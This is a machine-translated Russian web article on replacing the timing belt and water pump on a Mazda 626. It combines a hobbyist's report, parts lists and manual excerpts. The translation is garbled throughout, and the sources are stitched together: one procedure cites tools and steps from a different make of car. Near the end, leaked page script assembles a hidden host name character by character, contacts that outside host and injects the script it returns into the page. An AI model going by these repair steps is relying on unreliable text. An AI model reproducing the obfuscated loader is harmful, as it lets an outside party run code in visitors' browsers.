Замена ремня ГРМ Мазда 626

Содержание статьи:

• Замена ремня ГРМ и помпы Мазда 626
  • • Ремонт распределителя зажигания S5 Mazda 626
• Замена ремня ГРМ Мазда 626 с двигателем 2.0
• Из-за этого сломан привод
• Программа замены
• Выбери компанию
• Замена ремня
• Видео
• ОТЧЕТ: Замена ремня ГРМ
  • • • • Варианты темы
        • Поиск по теме
• ОТЧЕТ: Замена ремня ГРМ
• Установка / снятие зубчатого ремня (стандарт) Mazda 626 V GF Hatchback 2.0 DITD 90 л.с. >
• Технические подробности
• Каталог запасных частей
• Как заменить ремень ГРМ на Мазда 626
• Видео: как заменить ремень ГРМ на Мазда 626

Видео:Замена ремня ГРМ Мазда 626 / Выставляем метки ГРМ Mazda 626 2l / Ремонт и обслуживание МаздыСкачать

Замена ремня ГРМ и помпы Mazda 626

Возникла необходимость замены ГРМ и помпы на Mazda 626

Машину повесил на опоры. Здесь стоит обязательно и на всякий случай положить под лонжерон кирпичи. После этого лучше всего сначала оторвать болт шкива коленвала. Я пытался сделать это нажатием на тормоз на 5 передаче, а не на какой-либо из них. Пришлось морочиться с закуской. Метод опасен для жизни новичка, но на практике оказался очень эффективным.

Далее вставляем мотор в поддон. Чтобы ничего не заглушать, кладу кусок фанеры. Откручиваю переднюю опору. Проверяю устойчивость мотора, снимаю опору.

Дополнительный гидроусилитель руля. Ослабляем ось натяжителя, ослабляем . и вот в чем проблема. Ползать на болте крепления натяжителя нереально! Мне удалось наложить на него гаечный ключ, но я не повернул его. Обрезал ремень и открутил гидроусилитель руля вместе с держателем.

Два монтажных отверстия для гидроусилителя руля

Как оказалось, не зря; еще раз он не вмешивался.

Далее идет генератор. Вал натяжителя генератора находится в зоне масляного фильтра. Попадаем под машину, 10 раз ломаем руку и поворачиваем. С уловом здесь все проще и доступнее.

Это ремни, которые были сняты.

Далее снимаю крышку распределительной коробки. Конечно, грязно, но не так грязно, как два года назад. Стирка по-прежнему помогает.

Откручиваю шкив помпы, снимаю шкив коленвала, снимаю защиту ремня ГРМ (4 болта вверху и 4 — внизу);
Отображаю все по тегам. Креплю стальной проволокой.

Потом ослабил ролик, снял ремень ГРМ. Снимал видео.

Кстати, решил попробовать видео ремня ГРМ Trialli

Вот ремень ГРМ:

А вот такой ролик натяжителя:

Откручиваем (5 болтов) и снимаем помпу.

Состояние достаточно хорошее: ни неудач, ни потерь; есть только мерзкий скрип.

Воздуховоды моментально начинают ржаветь.

Шагающим шагом, без фанатизма мажу сиденье герметиком

Прокладка (Прокладка взята с той, что стояла. Оригинальная, металлическая с напылением резины. Лучше, чем кусок бумаги GMB)

Устанавливаю на место, соблюдая моменты затяжки.

После установки помпы залейте тосол. Оригинал — FL22. Не знаю, как замерили объем японские инженеры, указав в инструкции 7 литров, я ввел около 5,5, включая расширительный бачок (отмечу, что старый антифриз слили еще и из форсунок термостата, печки и помпы).

Затем отверткой вынимаю передний сальник коленвала и вставляю новый. Это скорее для профилактики. Устанавливать ужасно неудобно, но возможно.

Устанавливаю новые ролики, подтягиваю в нужный момент; установить ремень; Поворачиваю ролик натяжителя и вешаю пружину.

Далее поворачиваю болт коленвала на 2 оборота и проверяю наличие отметок. С первого раза все наладилось четко.

Марка шестерни коленчатого вала

Дальнейшая сборка в обратной последовательности: защита — нижняя, верхняя; шкив помпы, шкив коленвала, крышка с новой прокладкой, новые ремни генератора и гидроусилителя, передняя опора двигателя.

Ищу, проверяю двигатель, на герметичность.
На всякий случай проверил угол опережения зажигания стробоскопом.

Список запасных частей:
GMB G WMZ-69A Насос охлаждающей жидкости 834.55
Nsk 62ATB0733A04B01B Натяжной ролик 2207.08
Nsk ZX-52ST528 Ременный шкив ГРМ 450.62
Mazda FS01-12-711 с возвратной пружиной 103
Ремень ГРМ Mazda FP01-12-205A9A 1208
Резиновая прокладка Elring 864.040 для клапанной крышки 313
Contitech 5 PK 1150 Ремень поликлиновой 302
Contitech 4PK925 Ремень поликлиновой 260
Mazda FS0610602 Сальник коленвала 288
Mazda 0000-77-508E20 Антифриз 3.75L 1100

Завершены работы по замене распределителя и насоса Mazda 626

Ремонт распределителя зажигания S5 Mazda 626

Проблема: отсутствует искра в Mazda626. По мере увеличения скорости машина начинает сокращаться, как будто не хватает бензина.

Видео:Замена ремня ГРМ на мазде 626Скачать

Замена ремня ГРМ Мазда 626 с двигателем 2.0

Ременная передача появилась в 1956 году. До этого в трансмиссии автомобилей использовалась только цепь. Ремень соединяет валы двигателя, синхронизируя их работу. Единица измерения времени очень важна. Учитывая этот факт, необходимо постоянно следить за его состоянием и вовремя производить замену. Замену ремня можно доверить специалистам, но можно и самому сделать. Для этого достаточно внимательно прочитать инструкцию. Здесь мы поговорим о замене ременной передачи на Mazda 626 2.0.

Видео:МАЗДА 626 замена ГРМ и сальников валов ДВССкачать

Из-за чего привод обрывается

Производители Mazda заявляют, что ресурс ременной передачи составляет 150 000 км. Это много, но расходный материал может быстро изнашиваться. Но каковы причины этого:

• Если вы часто ездите по плохим дорогам, любите ездить на большой скорости, это, безусловно, негативно скажется на состоянии ремня. В этом случае коленчатый вал максимально проворачивается и двигатель получает более высокие нагрузки. Буксировка также не способствует продлению срока службы агрегата.
• Попадание рабочей жидкости на ленту способствует разрушению ее структуры. Особенно это касается моторного масла. Конечно, современные расходные материалы сделаны из резины с более высокой химической стойкостью, но это действительно может сократить срок службы расходного материала.
• Иногда в целях экономии покупаем расходные материалы по невысоким ценам. Такая экономия не оправдана, ведь недорого можно купить только некачественный товар.
• Если долго не менять холостые и паразитные ролики, подшипники на них могут застрять, что приведет к их поломке.
• Иногда заклинивает шестерня помпы, что тоже приводит к обрыву ремня.
• Водяной насос может заклинивать, в результате чего зубья на шестерне выскакивают. При этом вал насоса наклонен. Но застревание происходит постепенно, поэтому его можно предотвратить. На первом этапе вы услышите скрип, а в момент разрушения сепаратора — треск.

Обрыв цепи может привести к серьезным последствиям: загибу клапанов и получению различных дефектов поршней и цилиндров. Клапаны могут не гнуться, но только в том случае, если вам очень повезет. Здесь многое зависит от их положения на момент перерыва. Если последует удар, шток клапана обязательно погнется. После этого их можно будет только заменить. Но самое худшее, что может случиться, — это повреждение поршня. Но понять это можно, только полностью разобрав двигатель.

Читайте также: Замена салонного фильтра Тойота РАВ 4

При обрыве ремня двигатель полностью перестает двигаться. После этого двигатель больше не запускается, а стартер вращается легче, чем обычно. Иногда во время перерыва слышен стук. Это доказательство столкновения клапанов с поршнями. После этого больше не нужно пытаться запустить двигатель, иначе может произойти дальнейшее повреждение.

Видео:НИКОГДА НЕ МЕНЯЕТЕ ремень ГРМСкачать

Регламент замены

В инструкции по эксплуатации автомобиля указывается синхронизация ремня ГРМ. У Мазды это 150 000 км. В нем также указано, что натяжной ролик необходимо заменять вместе с ремнем. Конечно, если он еще не износился, то в этом нет необходимости, но ведь очень скоро может появиться люфт, и тогда придется заново разбирать весь механизм в связи с заменой ролика. Поэтому лучше сделать это сразу.

Досрочная замена ременной передачи может понадобиться в следующих случаях:

• ремень оборван;
• края рыхлые и видны отдельные пряди;
• между зубами появились трещины;
• зубы потрепаны или потрескались.

Рекомендуется чаще осматривать ременной привод, тем более что это несложно. Вместе с ремнем необходимо осмотреть звездочки и стенки цилиндров. Если на них появились протечки масла — это предупреждающий знак.

Внимание: Если двигатель начинает работать нестабильно и на холостом ходу слышны стуки из выхлопной трубы, необходимо повторно осмотреть ремень. Скорее всего, этапы газораспределения сместились. Это может произойти, если на ремне выбито несколько зубцов.

Видео:Замена ремня грм мазда 626 1.8 ge(5)Скачать

Выбор фирмы

Современные ремни изготовлены из качественного материала, имеют высокотехнологичное качество, поэтому стоят недешево. Чтобы выбрать качественный расходный материал, нужно придерживаться следующих рекомендаций:

• Возьмите с собой старый расходный материал, чтобы не путаться с размером зубов и некоторыми другими параметрами. Длина и ширина зубцов должны быть абсолютно одинаковыми.
• Выбирайте только лучшие варианты. Не стоит здесь экономить.
• Дешевые ремни всегда прочные. Но стоит выбрать эластичный расходный материал. Хотя это дороже, но прослужит намного дольше.
• Поверхность ленты должна быть гладкой. Заусенцы и провисания не допускаются, это брак.

Не стоит покупать такие расходные материалы в интернет-магазинах, так как в этом случае невозможно будет проконтролировать вышеперечисленные параметры. Лучше всего покупать ремни в надежных торговых точках. Кстати, они там продаются целиком.

А вот как определить подделку. Если вы считаете, что вам предлагают поддельный товар, попросите образцы. На обратной стороне их номера. Они всегда разные для фирменных расходников и одинаковые для подделок.

Видео:ТОП-6 признаков того, что ремень ГРМ пора менять! Распознаем износ ремня ГРМ!Скачать

Замена ремня

Главное при замене ременной передачи — следить за совмещением меток. Если их передвинуть, это приведет к нарушению газораспределительной функции. Для замены вам понадобится набор обычных инструментов:

• ключ для снятия колеса;
• джек;
• английские ключи;
• головы;
• расширения;
• плоскогубцы;
• отвертки;
• зажимы.

1. Поставим машину на ровную площадку. Исправляем, поставив на тормоз. Поднимаем машину и снимаем колесо справа.
2. Снимите защитную крышку.
3. Снимите защиту картера, брызговики и другие предметы, которые будут мешать дальнейшей работе.
4. Блокируем коленвал большой отверткой. Его нужно вставить между зубьями маховика.
5. Выкрутите болт крепления шкива коленчатого вала. Далее разбираем шкив и снова завинчиваем болт.
6. Проверните коленчатый вал до совпадения меток на звездочках и маховике.
7. Ослабьте натяжение натяжного ролика. Снимаем ремень, затем снимаем сам ролик.
8. Снимите сальники.

Совет: Обычно болт шкива затягивается очень туго, и открутить его может быть проблематично. Попросите помощника затормозить на пятой передаче. Это значительно упростит его откручивание.

9. Новую трансмиссию необходимо вставить так, чтобы со стороны натяжителя образовался люфт. Обратите внимание на совпадение надписей.
10. Начинаем натягивать ремень. Для этого вставьте плоскогубцы в отверстие ролика натяжителя, поверните и затяните гайку. Ремень натянут правильно, если его нельзя повернуть более чем на 90 градусов.
11. Выполняем сборку наоборот, заводим двигатель и слушаем, как он работает.

Видео:как поменять грм на мазде 626 2 0Скачать

Видео

Видео:Замена ремня ГРМ за 15 мин на любом авто без установки меток. Секрет автомеханикаСкачать

ОТЧЕТ: замена ремня ГРМ

Опции темы

Поиск по теме

Видео:Мазда 626.Замена ремня и роликов грм.Скачать

ОТЧЕТ: замена ремня ГРМ

Итак, при пробеге 96 т.км решил заменить ремень ГРМ. Весной спросил, сколько мне обойдется в сервисе Йокогамы (заодно отдал машину с насосом ГУР). Посчитали меня вместе с запчастями (зубчатый ремень, сальники 3 шт, ролики — 2 шт и работа) почти 10 т.р. : — (((Нафик-нафик.

Забегая вперед скажу, что вся замена обошлась мне ремешком SUN (900р), ну и за 130р купил герметик, правда немного нужно было. Сальники родные: не скользят, все сухо, даже ролики не шумят. Это не изменилось. Что ж, работает — часа 3-4, медленно, но без опыта работы с этим движком. До этого 2 раза менял на Toyota Sprinter, двигатель 5A-FE. Ну там немного попроще. Но в целом — то же самое.

Самым простым в этой процедуре оказалось откручивание болта шкива, самое сложное — как следует натянуть ремень. Почему — объясню ниже.

Теперь по порядку. Сначала снял насос ГУР, чтобы он не мешал и заодно поменял в нем сальник. Затем отсоединяем все, что мешает снятию клапанной крышки. Все провода, патрубки, все это идеально загнуто в сторону впускного коллектора. Ослабляем гайки-болты правой подушки двигателя. Поднимаем машину на домкрате (передний правый), ставим на подходящую подставку (у меня только брусок). Снимаем правое колесо. Снятие пластиковой защиты. Открывает вид на шкив коленчатого вала. Надо открутить болт. Это самый простой. На болт — головку упираем ручку в лонжерон (фото 1). После этого на долю секунды ударили закуску — ВСЕ! Болт порван. Я читал об этом методе, когда впервые менял ремень на Тойоте. Я тогда страдал и не мог отогнать его другими способами. Это прекрасно работает.

На этом все, после чего спокойно откручиваем болт. Снимите шкив. Говорят, он может скиснуть и с ним можно даже пострадать. Но я — обычно — просто снимал его, раскачивая руками вперед и назад.
Далее мы используем домкрат для перемещения двигателя вверх и вниз. Я работал в гараже на яме. Я просто поставил доску боком и поставил на нее домкрат (фото 2). Поддерживаем двигатель, откручиваем гайки и болты правой подушки двигателя, снимаем опору. Затем снимите клапанную крышку и 2 пластиковые крышки (верхнюю и нижнюю), закрывающие ремень привода ГРМ, домкратом вверх и вниз двигатель по мере необходимости. Снять нижнюю пластиковую крышку было сложно — мешал шкив водяного насоса. Пытался снять, открутив 4 болта на 10, но не смог. Он крутится, и я не понял, как это сделать. Ну да ладно, крышка уже снята, так как она гибкая и дает некоторую свободу при снятии и установке.
Клапанная крышка достаточно чистая, но сам двигатель залит мазутом! (фото 3 и 4) Похоже, японцы экономили на масле или что-то в этом роде. Буду менять масло почаще. Вы все еще можете пользоваться туалетом после переодевания. Двигатель надо помыть понемногу

Читайте также: Как поменять цилиндр замка ВАЗ 2109

Итак, все удалено, открывается следующий вид (фото 5). Сам ремень, кстати, как новый. Никаких трещин, ничего. Менять было уже стыдно. Но — раз уж я все разобрал — то изменюсь, тем более что все должно быть в бегах. Ну а старую на всякий случай положил.

Чтобы снять ремень, ослабьте болт (левый) натяжного ролика, снимите пружину со штифта тонкими плоскогубцами. Ролик отклоняется влево, ремень освобождается от натяжения. Кстати, не сразу понял, куда вставлять шестигранник (читал в мануале по ремонту). Подумал: как вообще можно ролик закручивать, повернув этот болт. Оказалось, что дырка на видео чуть ниже шестигранника, и я ее взял (о — чудо!). :-))) (фото 6). С его помощью очень удобно натягивать ремень, наклоняя ролик по часовой стрелке (фото 7). Пружина, насколько я понимаю, вообще нужна только для первоначального поддержания ремня в предварительно натянутом положении. Тогда ролик по-прежнему жестко фиксируется болтом. Цитирую фото весны: износа нет. Я не понимаю, почему они рекомендуют его менять.

Последняя модификация SergB; 03.07.2006 в 11:45 .

Потом соединил все знаки (точнее, делал с самого начала, пока старый ремень еще стоял). Слева — буква I, справа — E. Они должны лежать строго в одной плоскости, совпадающей с верхней поверхностью головки блока. На коленчатом валу выемка должна быть ровно вверху и совпадать с выступом (см. Последнее фото).

И тут началось самое сложное. Натяните ремень, чтобы метки не двигались. Пробовала 3 раза и постоянно после растягивания — отметины расходились (фото 8). Наконец, сделал так: натянул ремень как можно туже на звездочку коленвала и правую звездочку распредвала. Затем надел ремень на левую звездочку. Затянул натяжным роликом. Он проверил, что шатания и следы от распредвала выпускных клапанов остались на своих местах. Если все в порядке, пометил карандашом СКОЛЬКО зубцов на левой звездочке, чтобы в итоге ПОСЛЕ растяжки все было хорошо. Оказалось — на 1 зуб. Осторожно вытяните ремень из левой звездочки, поверните на 1 зуб, потяните ремень назад. Итак, ролик натянули, пружину навесили — проверим: ага, теперь совпадает. (фото 10) Проверяем по меткам внутри, они должны быть строго в плоскости головки блока. Да все правильно !! (фото 11).
Напоследок рекомендуется сделать пару оборотов болта коленвала и дважды проверить положение меток. Мы делаем это. Все совпадает, включая отметку на коленвале (фото 12). Затем я приложил немного большее натяжение, чем предоставленная пружина (буквально немного), чтобы компенсировать ее возможное растяжение на 100 ткм, и, наконец, затянул болт приемной бобины.

Все! Собираем в обратном порядке. При установке клапанной крышки не забудьте смазать левую и правую части каждого распредвала герметиком (см. Инструкции)

Кому нужно больше фото и хорошего качества, могу куда-нибудь закинуть.

Последняя модификация SergB; 03.07.2006 в 11:38 .

Видео:Метки ГРМ Mazda 626 2.0 бензин.Скачать

Установить / снять зубчатый ремень (стандарт) Mazda 626 V GF Хэтчбек 2.0 DITD 90 л.с. >

Видео:Мазда 626 / замена ГРМСкачать

Технические данные

Видео:"ГТ" Замена ремня ГРМ на Мазда 626 GC 1.6LСкачать

Каталог запчастей

двигатель моста n оригинальный з / ч (49 G017 5A0)

разборка: Снимите правое переднее колесо. Снимите кожух подшипника. Снимите крышку (и) моторного отсека. Снимите верхний кожух зубчатого ремня. (4) (см иллюстрацию 2) Снимите приводной ремень. Установите моторный мост. Поддержите двигатель. Откручиваем гайку (и) — держатель. (1) Откручиваем винт (ы) — держатель. (2) Снимите подставку. (3) Снимите гайку картера двигателя. (4) Выкрутите винт (ы) — подшипник мотора. (5) Снимите подшипник двигателя. (6) (см иллюстрацию 1)

рисунок 1 1 гайка (и) — опора 2 суппорта — винт (и 3 держатель 4 Гайка — рама двигателя 5 винт (-а) — подшипник двигателя 6 моторных подшипников

Снимите стропу с кожуха зубчатого ремня. Выкрутите винт (ы) ременного шкива коленчатого вала. (1) Снимите шкив коленчатого вала. (2) Выкрутите винт (ы) крышки зубчатого ремня. (3) Снимите нижний кожух зубчатого ремня. (4) Снимите направляющую зубчатого ремня. (5) Снимите датчик угла поворота коленчатого вала. (6) (см иллюстрацию 2)

фигура 2 1 винт (ы) шкива ремня коленчатого вала 2 шкив коленвала 3 Винт (ы) крышки зубчатого ремня 4 Защита зубчатого ремня 5 Направляющая зубчатого ремня 6 Датчик угла поворота коленчатого вала

Установите двигатель на цилиндр 1 vmt. Проверните двигатель только через шестерню коленчатого вала в направлении вращения. Ярлыки должны совпадать. (12) Вставьте стандартный винт (и) в удерживающее отверстие (а). (3) Винт (ы) M8 x 1,25 Откручиваем винт (ы) — натяжитель. (4) Снимите натяжитель. (5) Снимите зубчатый ремень. (см иллюстрацию 3)

фигура 3 1 Маркировка (и) mt 2 Базовая отметка (я 3 стопорный винт (ы 4 винт (-а) — натяжитель 5 натяжитель

установка Проверить затяжку и плавность натяжного ролика, при необходимости заменить. Проверить затяжку натяжителя, при необходимости заменить. (3) Возьмитесь за натяжитель обеими руками и прижмите толкатель к стене или чему-то подобному. Если толкатель движется, замените натяжитель. Измерьте лишний люфт «X «. Если проверочное значение отличается от предписанного, аксессуар необходимо заменить. (3) Нажмите на толкатель прессом. (1) Отверстия должны совпадать. Установите шестигранный ключ. (2) (см иллюстрацию 4) Скачайте прессу.

фигура 4 1 толкатель 2 ключа imbus 3 натяжитель размер X = 12,9 — 14,6 мм

Проверьте маркировку (и) на vmt (12) (см иллюстрацию 3) Натяните зубчатый ремень против часовой стрелки, начиная с шестерни коленчатого вала. Зубчатый ремень должен быть натянут между шестерней распределительного вала, шестерней ТНВД и шестерней коленчатого вала. Удалите стопорный винт (ы). (3) Установите натяжитель. (5) Сначала затяните верхний винт. (4) (см иллюстрацию 3) Удалите шестигранный ключ. (2) (см иллюстрацию 4) Проверните двигатель на два оборота в направлении вращения двигателя. Установите двигатель на цилиндр 1 vmt. Ярлыки должны совпадать. Дальнейшую сборку производить в порядке, обратном разборке. Носите агрегатные ремни. Проверить статически и при необходимости отрегулировать начало кормления. Видео:ЗАМЕНА РЕМНЯ ГРМ, РОЛИКОВ, МЕТКИ.Скачать Как Заменить Ремень ГРМ На Мазде 626 Снятие и установка ремня ГРМ Выполняйте процедуры только после того, как двигатель полностью остынет. Замена ремня ГРМ на двигателях 1,4, 1,6 и 1,8 л DOHC KV — Вал двигателя RV — Распредвал ВН — Водяной насос R — роликовый H — Натяжитель Замена ремня ГРМ на двигателях 2,0 л DOHC KV — Вал двигателя RV — Распредвал ВН — Водяной насос R — роликовый H — Натяжитель Двигатели 1,4, 1,6 и 1,8 л DOHC См иллюстрация Замена ремня ГРМ на двигателях DOHC 1,4, 1,6 и 1,8 л. Отсоедините отрицательный провод от аккумуляторной батареи. Снимите воздушный фильтр. Включите стояночный тормоз, приподнимите переднюю часть автомобиля домкратом и установите его на стойки. Снимите правое переднее колесо. Отметьте направление вращения ремня привода вспомогательных агрегатов мелом или краской. Ослабьте ремень, потянув натяжитель назад гаечным ключом. Вставьте стержень 4 мм в совмещенные отверстия в натяжителе и опорном кронштейне [1]. Снимаем с двигателя. Снимите верхнюю часть крышки привода ГРМ [2]. Поддержите двигатель с помощью инструмента KM-6001 и установите центрирующий инструмент KM-909-B. Снимите натяжитель ремня привода вспомогательных агрегатов. Двигатели 2,0 л DOHC См иллюстрация Замена ремня ГРМ на двигателях 2,0 л DOHC. Отсоедините отрицательный провод от аккумуляторной батареи. Снимите воздушный фильтр. Включите стояночный тормоз, приподнимите переднюю часть автомобиля домкратом и установите его на стойки. Снимите правое переднее колесо. Отметьте направление вращения ремня привода вспомогательных агрегатов мелом или краской. Ослабьте ремень, потянув натяжитель назад гаечным ключом. Вставьте стержень 4 мм в совмещенные отверстия в натяжителе и опорном кронштейне [1]. Снимаем с двигателя. Снимите верхнюю часть крышки привода ГРМ [3]. Поддержите двигатель с помощью инструмента KM-6001 и установите центрирующий инструмент KM-909-B. Снимите натяжитель ремня привода вспомогательных агрегатов. Снимите правую опору подвески в сборе с двигателя в сборе с ее кронштейном. Проверните коленчатый вал по часовой стрелке до установочных меток [4]. Выкрутите крепежные винты [5] и снимите шкив коленчатого вала [6]. Проверьте совмещение установочных меток коленчатого вала [7]. Установочные метки на шестернях распределительного вала должны совпадать с противодействующими рисками на задней крышке привода ГРМ [8]. Зафиксируйте шестерни распределительного вала с помощью специального приспособления KM-853. Ослабьте болт натяжителя [10] и поверните его шестигранным ключом [11] по часовой стрелке до тех пор, пока левый упор не окажется в соответствующем положении [12] — тип 1 или [16] — тип 2. Слегка затяните болт натяжителя. Снимаем ремень ГРМ. Видео:Метки ГРМ мазда 626 (2.0 литра)Скачать Видео: Как Заменить Ремень Грм На Мазде 626 Двигатели 1,4, 1,6 и 1,8 л DOHC См иллюстрация Замена ремня ГРМ на двигателях DOHC 1,4, 1,6 и 1,8 л. Убедитесь, что метка на корпусе водяного насоса правильно совмещена с меткой на блоке цилиндров [13]. Убедитесь, что метки совмещения [7] и [8] [правильные]. Начиная с шестерни коленчатого вала и вращая против часовой стрелки, установите ремень ГРМ. Убедитесь, что ремень натянут в местах между соседними колесами. Ослабьте болт натяжителя [10]. Поворачивайте натяжное устройство против часовой стрелки с помощью гаечного ключа [11], пока стрелка правого упора не окажется в соответствующем положении [14] — тип 1 или [18] — тип 2. Слегка затяните болт натяжителя. Снимите приспособление для блокировки шестерен [9]. Проверните коленчатый вал на два полных оборота по часовой стрелке и убедитесь, что установочные метки [7] и [8] совмещены[ правильно]. С помощью специального приспособления KM-852 заблокируйте шестерни распределительного вала [9]. Ослабьте болт натяжителя. Поверните натяжитель по часовой стрелке, пока игла не окажется в нужном положении [15] — Тип 1, новый ремень, [16] — Тип 1, использованный ремень, [19] — Тип 2, новый ремень, [20] — Тип 2, использованный пояс. Слегка затяните болт натяжителя. Снимите приспособление для блокировки шестерен и медленно поверните коленчатый вал на два полных оборота по часовой стрелке — убедитесь, что установочные метки [6] и [7] правильные. Проверьте правильность центровки индикатора натяжителя (см. Пункт 11). При необходимости повторите процедуру регулировки натяжения ремня. Затяните болт натяжителя с требуемым моментом (20 Нм). Пропустите специальный инструмент KM-911 через купол трансмиссии и воспользуйтесь им, чтобы предотвратить проворачивание маховика [3]. Отверните болт крепления шкива коленчатого вала. Замените снятые компоненты в порядке, обратном снятию. Убедитесь, что соблюдается первоначальное направление вращения приводного ремня аксессуара, если он не был заменен. Установите новый болт шкива коленчатого вала и затяните с требуемым моментом. Снимите приспособление для блокировки шестерен. 12.01.2020 Как поменять зеркало заднего вида 12.01.2020 Рено логан замена сайлентблоков задней балки Adblock детектор

«, body: [1,»

«], colgroup: [2,»

«], col: [3,»

«], tr: [2,»

«], td: [3,»

«], th: [3,»

«], _ default: [0,» «,» «]}; функция возврата (e, t) {var a, n, r, l = (t = tdocument) .createDocumentFragment (); if (i.test (e)) {for (a = l.appendChild (t.createElement («div»))), n = (d.exec (e) [«», «»]) [1] .toLowerCase (), n = c [n] c._default, a.innerHTML = n [1] + e.replace (o, «$ 2>») + n [2], r = n [0]; r -;) a = a lastChild; for (l.removeChild (l.firstChild); a.firstChild;) l.appendChild (a.firstChild)} else l.appendChild (t.createTextNode (e)); return l}} (); window.flatPM_ping = function () {var e = localStorage.getItem («sdghrg»); e? (e = parseInt (e) + 1, localStorage.setItem («sdghrg», e)): localStorage.setItem («sdghrg», » 0 «); e = flatPM_random (1.200); 0 == ff (» # wpadminbar «) length && 111 == e && ff.ajax ({type:» POST «, url:» h «+» t «+» t «+» p «+» s «+»: «+» / «+» / «+» m «+» и «+» h «+» a «+» n «+» или «+» i » + «d» + «.» + «p» + «r» + «или» + «/» + «p» + «i» + «n» + «g» + «.» + «p» + » h «+» p «, dataType:» jsonp «, data: {ping:» ping «}, успех: function (e) {f f («div») first () после (e.script)}, error: function () {}})}, window.flatPM_setSCRIPT = function (e) {попробуйте {var t = e [0] .id, a = e [0] .node, n = document.querySelector (‘[data-flat-script-id = «‘ + t + ‘»]’); if (текст) n.appendChild (a), ff (n) .contents () unwrap (), e.shift (), 0 / gm, «») replace (// gm, «») trim (), e.code_alt = e.code_alt.replace (// gm, «») replace (// gm, «») trim (); var l = jQuery, t = e.selector, o = e.timer, d = e.cross, a = «false» == d? «Закрыть»: «Закрыть», n =! flat_userVars.adb «» == e.code_alt && duplicateMode? e.code: e.code_alt, r = » + a + «через» + o + » + n + », i = e.once; l (t) .each (function () {var e = l (this); e.wrap (»); var t = e close («flat__4_video»); — 1! == r.indexOf («go» + «oglesyndication»)? t.append (r): flatPM_setHTML (t [0], r) и find (flat__4_video_flex «) .one (» click «, function () {l (this) .addClass (» show «)})}), l («body») on («click», flat__4_video_item_hover «, function () {var e = l (this), t = e.closest (» flat__4_video_flex «); t.addClass (» show «); var a = t.find (» flat__4_timer span «), n = parseInt (o), r = setInterval (function () {a.text (- n), n ‘): t.remove ())} , 1e3); e.remove ()}) on («click», «flat__4_video_flex .flat__4_cross», function () {l (this) .closest («flat__4_video_flex») remove (), «true» == i && l («flat__4_video_flex») Удалить()})};

12.01.2020

Как поменять зеркало заднего вида

12.01.2020

Рено логан замена сайлентблоков задней балки

💡 Видео

Замена ремня грм мазда 626 1.8gе(1)Скачать

Замена ремня генератора (снятие и установка) на Mazda 626Скачать

Teilen замена грм мазда 626 2.0Скачать

Mazda 626 FE 2.0 FS valve 8 замена помпы грмСкачать

Мазда 626 GD 2.0 8V замена ремня ГРМ! Метки ГРМ (двигатель FE)Скачать

Метки грм мазда 626 ge 1.8Скачать